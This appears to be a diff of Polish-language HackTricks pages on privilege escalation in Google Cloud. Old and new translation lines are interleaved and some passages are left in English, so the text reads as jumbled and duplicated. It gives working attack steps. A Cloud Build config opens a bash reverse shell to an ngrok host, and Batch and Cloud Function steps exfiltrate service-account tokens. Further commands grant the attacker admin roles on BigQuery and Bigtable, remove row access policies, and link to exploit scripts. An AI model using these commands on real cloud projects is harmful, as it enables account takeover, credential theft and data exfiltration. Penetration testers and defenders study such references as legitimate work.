Gdy tworzona jest funkcja chmurowa, nowy obraz dockerowy jest przesyłany do Artifact Registry projektu. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć bieżący obraz (i obraz `cache`), ale nic się nie zmieniło, funkcja chmurowa nadal działa. Dlatego może **możliwe jest nadużycie ataku Race Condition** jak w przypadku bucketu, aby zmienić kontener dockerowy, który będzie uruchamiany, ale **po prostu modyfikacja przechowywanego obrazu nie jest wystarczająca, aby skompromitować funkcję chmurową**.
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Próbowałem zmodyfikować obraz na nowy, a nawet usunąć aktualny obraz (oraz obraz `cache`) i nic się nie zmieniło — Cloud Function nadal działała. Dlatego być może **można nadużyć Race Condition attack** jak w przypadku bucket, aby zmienić kontener docker, który zostanie uruchomiony, ale **sama modyfikacja przechowywanego obrazu nie pozwala na kompromitację Cloud Function**.
- **App Engine**
Mimo że App Engine tworzy obrazy dockerowe wewnątrz Artifact Registry. Przetestowano, że **nawet jeśli zmodyfikujesz obraz w tej usłudze** i usuniesz instancję App Engine (aby wdrożona została nowa), **wykonywany kod się nie zmienia**.\
Może być możliwe, że przeprowadzając **atak Race Condition jak w przypadku bucketów, można nadpisać wykonywany kod**, ale to nie zostało przetestowane.
Pomimo że App Engine tworzy obrazy docker w Artifact Registry, przetestowano, że **nawet jeśli zmodyfikujesz obraz wewnątrz tej usługi** i usuniesz instancję App Engine (tak że zostanie wdrożona nowa), to **wykonywany kod się nie zmienia**.\
Może być możliwe, że przeprowadzenie **Race Condition attack podobnie jak z buckets może pozwolić na nadpisanie wykonywanego kodu**, lecz tego nie przetestowano.
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,10 @@ Podstawowe informacje:
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
Możliwe jest utworzenie zadania wsadowego, uzyskanie odwrotnej powłoki i wyeksportowanie tokena metadanych SA (domyślnie SA obliczeniowe).
Możliwe jest utworzenie zadania Batch, uzyskanie reverse shell oraz exfiltrate metadata token SA (domyślnie compute SA).
<details>
<summary>Utwórz zadanie Batch z reverse shell</summary>
```bash
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
{
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
}
EOD
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## BigQuery
Aby uzyskać więcej informacji na temat BigQuery, sprawdź:
Aby uzyskać więcej informacji o BigQuery sprawdź:
{{#ref}}
../gcp-services/gcp-bigquery-enum.md
@@ -12,21 +12,34 @@ Aby uzyskać więcej informacji na temat BigQuery, sprawdź:
### Odczyt tabeli
Odczytując informacje przechowywane w tabeli BigQuery, może być możliwe znalezienie s**ensywnych informacji**. Aby uzyskać dostęp do informacji, potrzebne są uprawnienia **`bigquery.tables.get`**, **`bigquery.jobs.create`** i **`bigquery.tables.getData`**:
Czytając informacje przechowywane w tabeli BigQuery, można znaleźć w**rażliwe informacje**. Aby uzyskać dostęp do tych danych potrzebne są uprawnienia **`bigquery.tables.get`**, **`bigquery.jobs.create`** i **`bigquery.tables.getData`**:
<details>
<summary>Odczyt danych tabeli BigQuery</summary>
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
### Eksportuj dane
</details>
To inny sposób na dostęp do danych. **Eksportuj je do koszyka pamięci w chmurze** i **pobierz pliki** z informacjami.\
Aby wykonać tę akcję, potrzebne są następujące uprawnienia: **`bigquery.tables.export`**, **`bigquery.jobs.create`** i **`storage.objects.create`**.
### Eksport danych
To kolejny sposób na dostęp do danych. **Wyeksportuj je do bucketu Cloud Storage** i **pobierz pliki** z informacjami.\
Aby wykonać tę operację potrzebne są następujące uprawnienia: **`bigquery.tables.export`**, **`bigquery.jobs.create`** i **`storage.objects.create`**.
<details>
<summary>Eksport tabeli BigQuery do Cloud Storage</summary>
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
</details>
### Wstawianie danych
Możliwe jest **wprowadzenie pewnych zaufanych danych** do tabeli Bigquery, aby wykorzystać **lukę w innym miejscu.** Można to łatwo zrobić za pomocą uprawnień **`bigquery.tables.get`**, **`bigquery.tables.updateData`** i **`bigquery.jobs.create`**:
Może być możliwe **wprowadzenie pewnych zaufanych danych** do tabeli Bigquery, aby wykorzystać **lukę w jakimś innym miejscu.** Można to łatwo zrobić za pomocą uprawnień **`bigquery.tables.get`**, **`bigquery.tables.updateData`** i **`bigquery.jobs.create`**:
<details>
<summary>Wstawianie danych do tabeli BigQuery</summary>
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
</details>
### `bigquery.datasets.setIamPolicy`
Napastnik mógłby nadużyć tej uprawnienia, aby **przyznać sobie dodatkowe uprawnienia** do zestawu danych BigQuery:
Atakujący mógłby nadużyć tego uprawnienia, aby **przyznać sobie dodatkowe uprawnienia** do datasetu BigQuery:
<details>
<summary>Ustaw politykę IAM na BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
</details>
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
Tylko to uprawnienie pozwala na **aktualizację dostępu do zestawu danych BigQuery poprzez modyfikację ACL, które wskazują, kto może uzyskać do niego dostęp:**
Tylko to uprawnienie pozwala **zaktualizować swój dostęp do zbioru danych BigQuery poprzez modyfikację ACLs**, które wskazują, kto może uzyskać do niego dostęp:
<details>
<summary>Aktualizacja ACLs zbioru danych BigQuery</summary>
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
</details>
### `bigquery.tables.setIamPolicy`
Napastnik mógłby nadużyć tego uprawnienia, aby **przyznać sobie dodatkowe uprawnienia** do tabeli BigQuery:
Atakujący mógłby wykorzystać to uprawnienie, aby **przyznać sobie dodatkowe uprawnienia** do tabeli BigQuery:
<details>
<summary>Ustaw politykę IAM dla tabeli BigQuery</summary>
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
Zgodnie z dokumentacją, z wymienionymi uprawnieniami możliwe jest **aktualizowanie polityki wiersza.**\
Jednakże, **używając cli `bq`** potrzebujesz jeszcze kilku: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
Według dokumentacji, z wymienionymi uprawnieniami można **zaktualizować politykę dostępu do wierszy.**\
Jednak **używając CLI `bq`** potrzebujesz dodatkowo: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Utwórz lub zastąp politykę dostępu do wierszy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
Możliwe jest znalezienie identyfikatora filtra w wynikach enumeracji polityk wierszy. Przykład:
</details>
Można znaleźć filter ID w wyniku enumeracji row policies. Przykład:
<details>
<summary>Wyświetl listę row access policies</summary>
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
Jeśli masz **`bigquery.rowAccessPolicies.delete`** zamiast `bigquery.rowAccessPolicies.update`, możesz po prostu usunąć politykę:
</details>
Jeśli masz uprawnienie **`bigquery.rowAccessPolicies.delete`** zamiast `bigquery.rowAccessPolicies.update`, możesz też po prostu usunąć politykę:
<details>
<summary>Usuń row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
</details>
> [!CAUTION]
> Inną potencjalną opcją obejścia polityki dostępu do wierszy byłoby po prostu zmienienie wartości ograniczonych danych. Jeśli możesz zobaczyć tylko wtedy, gdy `term` to `Cfba`, po prostu zmodyfikuj wszystkie rekordy tabeli, aby miały `term = "Cfba"`. Jednak to jest uniemożliwione przez bigquery.
> Inna potencjalna opcja umożliwiająca bypass row access policies to po prostu zmienić wartość ograniczonych danych. Jeśli widzisz je tylko gdy `term` jest `Cfba`, zmodyfikuj wszystkie rekordy tabeli, aby `term = "Cfba"`. Jednakże uniemożliwia to bigquery.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Bigtable
Więcej informacji o Bigtable znajdziesz:
Aby uzyskać więcej informacji o Bigtable, sprawdź:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
@@ -12,40 +12,50 @@ Więcej informacji o Bigtable znajdziesz:
### `bigtable.instances.setIamPolicy`
**Uprawnienia:** `bigtable.instances.setIamPolicy` (i zazwyczaj `bigtable.instances.getIamPolicy`, aby odczyt bieżące wiązania).
**Permissions:** `bigtable.instances.setIamPolicy` (i zwykle `bigtable.instances.getIamPolicy` do odczytu bieżących powiązań).
Posiadanie polityki IAM instancji pozwala nadać sobie **`roles/bigtable.admin`** (lub dowolną niestandardową rolę), która rozciąga się na każdy klaster, tabelę, kopię zapasową i autoryzowany widok w instancji.
Posiadanie polityki IAM instancji pozwala przyznać sobie **`roles/bigtable.admin`** (lub dowolną rolę niestandardową), która kaskaduje do każdego klastra, tabeli, kopii zapasowej i autoryzowanego widoku w instancji.
<details><summary>Przyznaj sobie rolę bigtable.admin na instancji</summary>
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Jeśli nie możesz wylistować istniejących bindingów, stwórz nowy dokument polityki i wgraj go poleceniem `gcloud bigtable instances set-iam-policy`, pod warunkiem że zachowasz na nim siebie.
</details>
Po uzyskaniu tego uprawnienia sprawdź sekcję [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) w poszukiwaniu dodatkowych technik umożliwiających nadużycie uprawnień Bigtable.
> [!TIP]
> Jeśli nie możesz wylistować istniejących powiązań, przygotuj nowy dokument polityki i zastosuj go za pomocą `gcloud bigtable instances set-iam-policy`, pod warunkiem, że zachowasz w nim swoje uprawnienia.
Po uzyskaniu tego uprawnienia sprawdź w sekcji [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniki, aby znaleźć więcej sposobów nadużycia uprawnień Bigtable.
### `bigtable.tables.setIamPolicy`
**Uprawnienia:** `bigtable.tables.setIamPolicy` (opcjonalnie `bigtable.tables.getIamPolicy`).
Polityki instancji mogą być ograniczone, podczas gdy uprawnienia do poszczególnych tabel są delegowane. Jeśli możesz edytować IAM tabeli, możesz **nadać sobie rolę właściciela docelowego zbioru danych** bez modyfikowania innych obciążeń.
Polityki instancji mogą być zablokowane, podczas gdy poszczególne tabele są delegowane. Jeśli możesz edytować IAM tabeli, możesz **przyznać sobie rolę właściciela docelowego zbioru danych** bez ingerencji w inne obciążenia.
<details><summary>Przyznaj sobie rolę bigtable.admin na tabeli</summary>
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Po uzyskaniu tego uprawnienia sprawdź w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniki, aby znaleźć więcej sposobów nadużywania uprawnień Bigtable.
</details>
Po uzyskaniu tego uprawnienia sprawdź w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniki pokazujące więcej sposobów nadużywania uprawnień Bigtable.
### `bigtable.backups.setIamPolicy`
**Uprawnienia:** `bigtable.backups.setIamPolicy`
Kopie zapasowe można przywrócić do **dowolnej instancji w dowolnym projekcie**, którym zarządzasz. Najpierw nadaj swojej tożsamości dostęp do backupu, a następnie przywróć go w sandboxie, w którym masz role Admin/Owner.
Kopie zapasowe można przywrócić do **dowolnej instancji w dowolnym projekcie**, którymi zarządzasz. Najpierw przyznaj swojej tożsamości dostęp do backupu, a następnie przywróć go do sandboxa, w którym masz role Admin/Owner.
Jeśli masz uprawnienie `bigtable.backups.setIamPolicy`, możesz przyznać sobie uprawnienie `bigtable.backups.restore`, aby przywrócić stare kopie zapasowe i spróbować uzyskać dostęp do wrażliwych informacji.
<details><summary>Take ownership of backup snapshot</summary>
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
@@ -53,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Po uzyskaniu tego uprawnienia sprawdź [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), aby dowiedzieć się, jak przywrócić kopię zapasową.
</details>
Po uzyskaniu tego uprawnienia sprawdź [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), aby zobaczyć, jak przywrócić kopię zapasową.
### Aktualizuj authorized view
**Uprawnienia:** `bigtable.authorizedViews.update`
Authorized Views mają za zadanie maskować wiersze/kolumny. Ich modyfikacja lub usunięcie **usuwa drobnoziarniste mechanizmy ochronne**, na których polegają obrońcy.
Authorized Views mają na celu maskować wiersze/kolumny. Modyfikacja lub usunięcie ich **usuwa drobnoziarniste zabezpieczenia**, na których polegają obrońcy.
<details><summary>Zaktualizuj authorized view, aby poszerzyć dostęp</summary>
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
@@ -85,13 +99,17 @@ EOF
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Aby dowiedzieć się, jak odczytywać z Authorized View, zobacz [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md).
</details>
Po uzyskaniu tego uprawnienia sprawdź w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), jak odczytać z Authorized View.
### `bigtable.authorizedViews.setIamPolicy`
**Uprawnienia:** `bigtable.authorizedViews.setIamPolicy`.
Atakujący posiadający to uprawnienie może przyznać sobie dostęp do Authorized View, który może zawierać wrażliwe dane, do których w przeciwnym razie nie miałby dostępu.
Atakujący posiadający to uprawnienie może przyznać sobie dostęp do Authorized View, które może zawierać poufne dane, do których w innym przypadku nie miałby dostępu.
<details><summary>Przyznaj sobie dostęp do Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
@@ -99,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Po wykonaniu tej weryfikacji uprawnień w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), aby sprawdzić, jak czytać z autoryzowanego widoku.
</details>
Po sprawdzeniu uprawnień zobacz w [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md), jak odczytywać z autoryzowanego widoku.
@@ -4,7 +4,7 @@
### Utwórz markę OAuth i klienta
[**Zgodnie z dokumentacją**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), oto wymagane uprawnienia:
[**Zgodnie z dokumentacją**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), to wymagane uprawnienia:
- `clientauthconfig.brands.list`
- `clientauthconfig.brands.create`
@@ -14,6 +14,8 @@
- `clientauthconfig.clients.getWithSecret`
- `clientauthconfig.clients.delete`
- `clientauthconfig.clients.update`
<details><summary>Utwórz markę OAuth i klienta</summary>
```bash
# Create a brand
gcloud iap oauth-brands list
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## cloudbuild
Aby uzyskać więcej informacji o Cloud Build, sprawdź:
Więcej informacji o Cloud Build znajdziesz:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,12 +12,14 @@ Aby uzyskać więcej informacji o Cloud Build, sprawdź:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Dzięki temu uprawnieniu możesz **złożyć budowę w chmurze**. Maszyna cloudbuild będzie miała w swoim systemie plików **domyślnie token konta usługi cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Możesz jednak **wskazać dowolne konto usługi w projekcie** w konfiguracji cloudbuild.\
Dlatego możesz po prostu sprawić, że maszyna wyeksfiltruje token na twój serwer lub **uzyskać powrotną powłokę wewnątrz niej i zdobyć token** (plik zawierający token może się zmieniać).
Dzięki tym uprawnieniom możesz wysłać cloud build. Maszyna cloudbuild będzie miała w swoim systemie plików domyślnie token cloudbuild Service Account: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Możesz jednak wskazać dowolny Service Account w projekcie w konfiguracji cloudbuild.\
W związku z tym możesz po prostu zmusić maszynę do exfiltrate tokenu na twój serwer lub uzyskać na niej reverse shell i zdobyć token (plik zawierający token może się zmieniać).
#### Bezpośrednia eksploatacja za pomocą gcloud CLI
#### Bezpośrednie wykorzystanie za pomocą gcloud CLI
1- Utwórz `cloudbuild.yaml` i zmodyfikuj go danymi swojego nasłuchiwacza.
1- Utwórz `cloudbuild.yaml` i zmodyfikuj go, wstawiając dane swojego listenera
<details><summary>Konfiguracja Cloud Build YAML dla reverse shell</summary>
```yaml
steps:
- name: bash
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Prześlij prostą kompilację bez źródła, plik yaml i określ SA do użycia w kompilacji:
</details>
2- Prześlij prosty build bez źródła, plik yaml i określ SA, który ma być użyty podczas builda:
<details><summary>Wyślij Cloud Build z określonym service account</summary>
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Używanie biblioteki python gcloud
Możesz znaleźć oryginalny skrypt exploitujący [**tutaj na GitHubie**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ale lokalizacja, z której pobiera token, nie działała dla mnie). Dlatego sprawdź skrypt do automatyzacji [**tworzenia, eksploatacji i czyszczenia podatnego środowiska tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) oraz skrypt python do uzyskania odwrotnego powłoki wewnątrz maszyny cloudbuild i [**ukradnij go tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (w kodzie możesz znaleźć, jak określić inne konta serwisowe)**.**
</details>
#### Korzystanie z python gcloud library
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
Aby uzyskać bardziej szczegółowe wyjaśnienie, odwiedź [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.repositories.accessReadToken`
Dzięki temu uprawnieniu użytkownik może uzyskać **token dostępu do odczytu** używany do uzyskania dostępu do repozytorium:
Dzięki temu uprawnieniu użytkownik może uzyskać **read access token** używany do dostępu do repozytorium:
<details><summary>Uzyskaj read access token dla repozytorium</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,9 +57,13 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
</details>
### `cloudbuild.repositories.accessReadWriteToken`
Dzięki temu uprawnieniu użytkownik może uzysk**token dostępu do odczytu i zapisu** używany do uzyskania dostępu do repozytorium:
Dzięki temu uprawnieniu użytkownik może pobr**read and write access token** używany do dostępu do repozytorium:
<details><summary>Pobierz read and write access token dla repozytorium</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -57,12 +71,18 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
</details>
### `cloudbuild.connections.fetchLinkableRepositories`
Z tą uprawnieniem możesz **uzyskać dostęp do repozytoriów, do których ma dostęp połączenie:**
Dzięki temu uprawnieniu możesz **pobrać repozytoria, do których połączenie ma dostęp:**
<details><summary>Pobierz repozytoria możliwe do powiązania</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,19 +12,21 @@ Więcej informacji o Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Atakujący z tymi uprawnieniami może **utworzyć nową funkcję Cloud z dowolnym (złośliwym) kodem i przypisać jej konto usługi**. Następnie, wyciek tokena konta usługi z metadanych w celu eskalacji uprawnień do niego.\
Możliwe, że będą wymagane pewne uprawnienia do wywołania funkcji.
Atakujący posiadający te uprawnienia może **stworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej Service Account**. Następnie, leak the Service Account token z metadanych, aby eskalować uprawnienia do niego.\
Może być wymagane dodatkowe uprawnienie do wywoływania funkcji.
Skrypty exploitacyjne dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) oraz [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py), a gotowy plik .zip można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Atakujący z tymi uprawnieniami może **zmodyfikować kod funkcji, a nawet zmienić przypisane konto usługi** w celu wyeksportowania tokena.
Atakujący z tymi uprawnieniami może **zmodyfikować kod Function, a nawet zmienić przypisany Service Account** z celem exfiltrating the token.
> [!CAUTION]
> Aby wdrożyć funkcje chmurowe, będziesz również potrzebować uprawnień actAs dla domyślnego konta usługi obliczeniowej lub dla konta usługi używanego do budowy obrazu.
> Aby wdrożyć Cloud Functions, będziesz również potrzebować uprawnień actAs do domyślnego compute service account lub do Service Account używanego do budowy obrazu.
Możliwe, że będą wymagane dodatkowe uprawnienia, takie jak uprawnienie `.call` dla wersji 1 cloudfunctions lub rola `role/run.invoker` do wywołania funkcji.
Mogą być wymagane dodatkowe uprawnienia, takie jak uprawnienie `.call` dla cloudfunctions v1 lub rola `role/run.invoker` do wywołania funkcji.
<details><summary>Zaktualizuj Cloud Function, dodając złośliwy kod w celu exfiltrate Service Account token</summary>
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Jeśli otrzymasz błąd `Permission 'run.services.setIamPolicy' denied on resource...`, to dlatego, że używasz parametru `--allow-unauthenticated` i nie masz wystarczających uprawnień.
Skrypt exploitacyjny dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
Exploit script dla tej metody znajduje się [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Dzięki temu uprawnieniu możesz uzyskać **podpisany URL, aby móc przesłać plik do koszyka funkcji (ale kod funkcji nie zostanie zmieniony, nadal musisz go zaktualizować)**
Z tym uprawnieniem możesz uzyskać **signed URL, który pozwala przesłać plik do bucketu funkcji (kod funkcji nie zostanie jednak zmieniony nadal musisz go zaktualizować)**
<details><summary>Wygeneruj signed upload URL dla Cloud Function</summary>
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
Nie jestem pewien, jak przydatne jest tylko to uprawnienie z perspektywy atakującego, ale dobrze wiedzieć.
</details>
### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`
Nie jestem do końca pewien, jak przydatne z perspektywy atakującego jest posiadanie wyłącznie tego uprawnienia, ale warto wiedzieć.
Daj sobie dowolne z wcześniejszych **`.update`** lub **`.create`** uprawnień, aby eskalować.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Nadaj sobie którekolwiek z poprzednich uprawnień **`.update`** lub **`.create`**, aby eskalować.
### `cloudfunctions.functions.update`
Mając tylko uprawnienia **`cloudfunctions`**, bez **`iam.serviceAccounts.actAs`**, **nie będziesz w stanie zaktualizować funkcji, WIĘC TO NIE JEST WAŻNA ESCALACJA.**
Posiadając wyłącznie uprawnienia **`cloudfunctions`**, bez **`iam.serviceAccounts.actAs`**, nie będziesz w stanie zaktualizować funkcji WIĘC TO NIE JEST PRAWIDŁOWY PRIVESC.
### Dostęp do odczytu i zapisu w koszyku
### Read & Write Access over the bucket
Jeśli masz dostęp do odczytu i zapisu w koszyku, możesz monitorować zmiany w kodzie, a gdy tylko **nastąpi aktualizacja w koszyku, możesz zaktualizować nowy kod swoim własnym kodem**, z którym nowa wersja Cloud Function będzie uruchamiana z przesłanym złośliwym kodem.
Jeśli masz dostęp do odczytu i zapisu w bucketcie, możesz monitorować zmiany w kodzie i za każdym razem, gdy nastąpi **aktualizacja w buckecie możesz zastąpić nowy kod własnym**, dzięki czemu nowa wersja Cloud Function zostanie uruchomiona z przesłanym backdoored kodem.
Możesz sprawdzić więcej na temat ataku w:
Możesz sprawdzić więcej o tym ataku w:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
Jednak nie możesz użyć tego do wstępnego kompromitowania funkcji Cloud innych firm, ponieważ jeśli stworzysz koszyk w swoim koncie i dasz mu publiczne uprawnienia, aby zewnętrzny projekt mógł na nim pisać, otrzymasz następujący błąd:
Nie możesz jednak użyć tego do wstępnego przejęcia Cloud Functions stron trzecich, ponieważ jeśli utworzysz bucket na swoim koncie i dasz mu publiczne uprawnienia, aby zewnętrzny projekt mógł do niego zapisywać, otrzymasz następujący błąd:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!OSTRZEŻENIE]
> Jednak może to być użyte do ataków DoS.
> [!CAUTION]
> Jednak może to zostać wykorzystane do ataków DoS.
### Dostęp do odczytu i zapisu w rejestrze artefaktów
### Read & Write Access over Artifact Registry
